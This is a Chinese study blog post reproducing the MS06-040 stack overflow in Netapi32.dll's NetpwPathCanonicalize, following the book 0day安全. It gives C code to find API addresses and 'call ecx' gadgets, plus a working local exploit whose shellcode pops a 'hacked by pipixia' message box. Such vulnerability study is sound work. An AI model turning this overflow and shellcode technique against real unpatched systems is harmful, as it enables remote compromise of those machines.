0day安全 学习之 MS06-040 漏洞研究

最近在看 0day安全 这本书  然后打算 跟着去复现一下 

以前大一也试着看看这本书 发现看的不是很懂   现在感觉 这本书真的写的很棒

然后 我看了前三章 感觉都还ok  然后看到 一个漏洞的时候发现有点手痒

然后配了一下环境 找了一下dll 然后跟着来做一下,

然后这里的思路是来自 姜大大的

https://blog.csdn.net/ioio_jy/article/details/50222487

感谢前辈们的无私奉献,

先看一下漏洞点是  Netapi32.dll 的 NetpwPathCanonicalize()函数里面的一个函数

这个函数其实有了很多的漏洞 打了补丁甚至还能找到溢出点(这里就不分析了 主要是因为wcscat,它会检查缓冲区中的“\0”也就是字符串的尾部位置,然后将新的字符串拷贝到“\0”的位置,最后再加上“\0”作为结尾 )

先看一下 没有打过补丁的情况

 

然后是 打过补丁的情况

这个dll 可以在  下面的链接找到

https://bbs.pediy.com/thread-56963.htm

这里其实就可以看出 怎么回事了 DeviceName 是在距离 ebp-414h 的地方

而 但是上述代码检测的却是wchar_t 的长度 ,宽字符的0x411相当于0x822字节的空间

那么就可以造成 栈溢出  然后 利用漏洞拿到shell

这里我们就用 程序加载的方式  来利用这个漏洞  这里 先得出messagex 和 exitprocess 的地址

#include "stdafx.h"
#include <windows.h>  
#include <stdio.h>  
#include <stdlib.h>  
#define DLL_NAME "./NETAPI32.DLL"  
typedef void(*MYPROC)(LPTSTR);
int main()  
{  
	HINSTANCE LibHandle = LoadLibrary("user32.dll");
	MYPROC ProcAddr = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
	printf("MessageBoxA:0x%x\n", ProcAddr);
	HINSTANCE libhandle = LoadLibrary("Kernel32.dll");
	MYPROC addr = (MYPROC)GetProcAddress(libhandle, "ExitProcess");
	printf("ExitProcess:0x%x\n", addr);
	printf("Hello World!\n");
	getchar();
        return 0;  
}  

然后继续看 call ecx的地址

/*

OPCODE found at 0x7510eeb3
OPCODE found at 0x75116da7
OPCODE found at 0x7511c69e
OPCODE found at 0x751206b9
OPCODE found at 0x75122d43
OPCODE found at 0x75128bf2
OPCODE found at 0x7513de19

MessageBoxA:0x77d507ea
ExitProcess:0x7c81cb12
*/

#include "stdafx.h"
#include <windows.h>  
#include <stdio.h>  
#include <stdlib.h>  
#define DLL_NAME "./NETAPI32.DLL"  
  
int main()  
{  
        BYTE *ptr;  
        int position,address;  
        HINSTANCE handle;  
        BOOL done_flag = FALSE;  
        handle = LoadLibrary(DLL_NAME);  
        if(!handle)  
        {  
                printf("load dll error!");  
                exit(0);  
        }  
        ptr = (BYTE*)handle;  
  
        for(position = 0; !done_flag; position++)  
        {  
                try  
                {  
                        if(ptr[position]==0xFF && ptr[position+1]==0xD1)  
                        {  
                                int address = (int)ptr + position;  
                                printf("OPCODE found at 0x%x\n", address);  
                        }  
                }  
                catch(...)  
                {  
                        int address = (int)ptr + position;  
                        printf("END OF 0x%x\n", address);  
                        done_flag = true;  
                }  
        }  
        getchar();  
		getchar();
        return 0;  
}  

然后我们就就可以着手准备 shellcode 来搞事情了

这里我直接粘上我本机上运行成功的代码

// ll.cpp : Defines the entry point for the console application.
//
/*

OPCODE found at 0x7510eeb3
OPCODE found at 0x75116da7
OPCODE found at 0x7511c69e
OPCODE found at 0x751206b9
OPCODE found at 0x75122d43
OPCODE found at 0x75128bf2
OPCODE found at 0x7513de19

MessageBoxA:0x77d507ea
ExitProcess:0x7c81cb12
*/

#include "stdafx.h"
#include <windows.h>  
#include <stdio.h>  
#include <stdlib.h>  
#define DLL_NAME "./NETAPI32.DLL"  
#include <windows.h>  
typedef void (*MYPROC)(LPTSTR, ...);  
  
char ShellCode[] =   
              "\x33\xDB"                          // xor ebx,ebx  
              "\xB7\x06"                          // mov bh,6  
              "\x2B\xE3"                          // sub esp,ebx  
              "\x33\xDB"                          // xor ebx,ebx  
              "\x53"                              // push ebx  
              "\x68\x69\x6E\x67\x20"  
              "\x68\x57\x61\x72\x6E"              // push "Warning"  
              "\x8B\xC4"                          // mov eax,esp  
              "\x53"                              // push ebx  
              "\x68\x61\x20\x20\x20"  
              "\x68\x70\x69\x78\x69"  
              "\x68\x79\x20\x70\x69"  
              "\x68\x65\x64\x20\x62"  
              "\x68\x68\x61\x63\x6b"            // push "hacked by pipixia"  
              "\x8B\xCC"                           // mov ecx,esp  
              "\x53"                               // push ebx  
              "\x50"                               // push eax  
              "\x51"                               // push ecx  
              "\x53"                               // push ebx  
              "\xB8\xea\x07\xd5\x77"                 
              "\xFF\xD0"                           // call MessageBox  
                          "\x53"  
                          "\xB8\x12\xcb\x81\x7C"  
                          "\xFF\xD0" ;                          // call ExitProcess             

//MessageBoxA:0x77d507ea
//ExitProcess:0x7c81cb12
int main()  
{  
        char Str[0x320];  
    char lpWideCharStr[0x440];  
    int  arg_8 = 0x440;  
    char Source[0x100];  
    long arg_10 = 44;  
      
    HINSTANCE LibHandle;  
    MYPROC Func;  
    char DllName[] = "./NETAPI32.DLL";  
  
    LoadLibrary("user32.dll");  
      
    LibHandle = LoadLibrary(DllName);  
    if( LibHandle == NULL)  
    {  
        MessageBox(0, "Can't Load DLL!", "Warning", 0);  
        FreeLibrary(LibHandle);  
		return 0;
    }  
      
    Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");  
    if ( Func == NULL )  
    {  
        MessageBox(0, "Can't Load Function Address!", "Warning", 0);  
        FreeLibrary(LibHandle);  
		return 0;
    }  
  
        memset(Str, 0, sizeof(Str));  
    memset(Str, 'a', sizeof(Str)-2);  
    memset(Source, 0, sizeof(Source));  
    memset(Source, 'b', sizeof(Source)-2);  
    memcpy(Source, ShellCode, sizeof(ShellCode));  
 //0x7510eeb3 
    Str[0x318] = 0xb3;  
    Str[0x319] = 0xee;  
    Str[0x31A] = 0x10;  
    Str[0x31B] = 0x75;  
  
    (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);  
  
        FreeLibrary(LibHandle);  
    return 0;  
}  

 然后这个思路就是 

在这个函数 要退出的时候 ECX的值 就是 我们一开始输入的栈区的值 那么 我们可以把shellcode 直接写道那个栈区里面

然后 把返回地址填充 call ecx 的地址  那么就可以成功弹窗了

这里可以看到已经把返回地址给淹没了

 这里可以看出ecx的值 指向了shellcode

 可以看到 可以直接执行到shellcode了

效果图

字符串转化成

print(''.join((r'\x%2x'%ord(c)for c in 'hacked by pipixiaQAQ'))) 

参考资料

https://blog.csdn.net/ioio_jy/article/details/50222475

https://bbs.pediy.com/thread-56963.htm

0day安全:软件漏洞分析技术

发布了313 篇原创文章 · 获赞 44 · 访问量 6万+

猜你喜欢

转载自blog.csdn.net/qq_41071646/article/details/99407048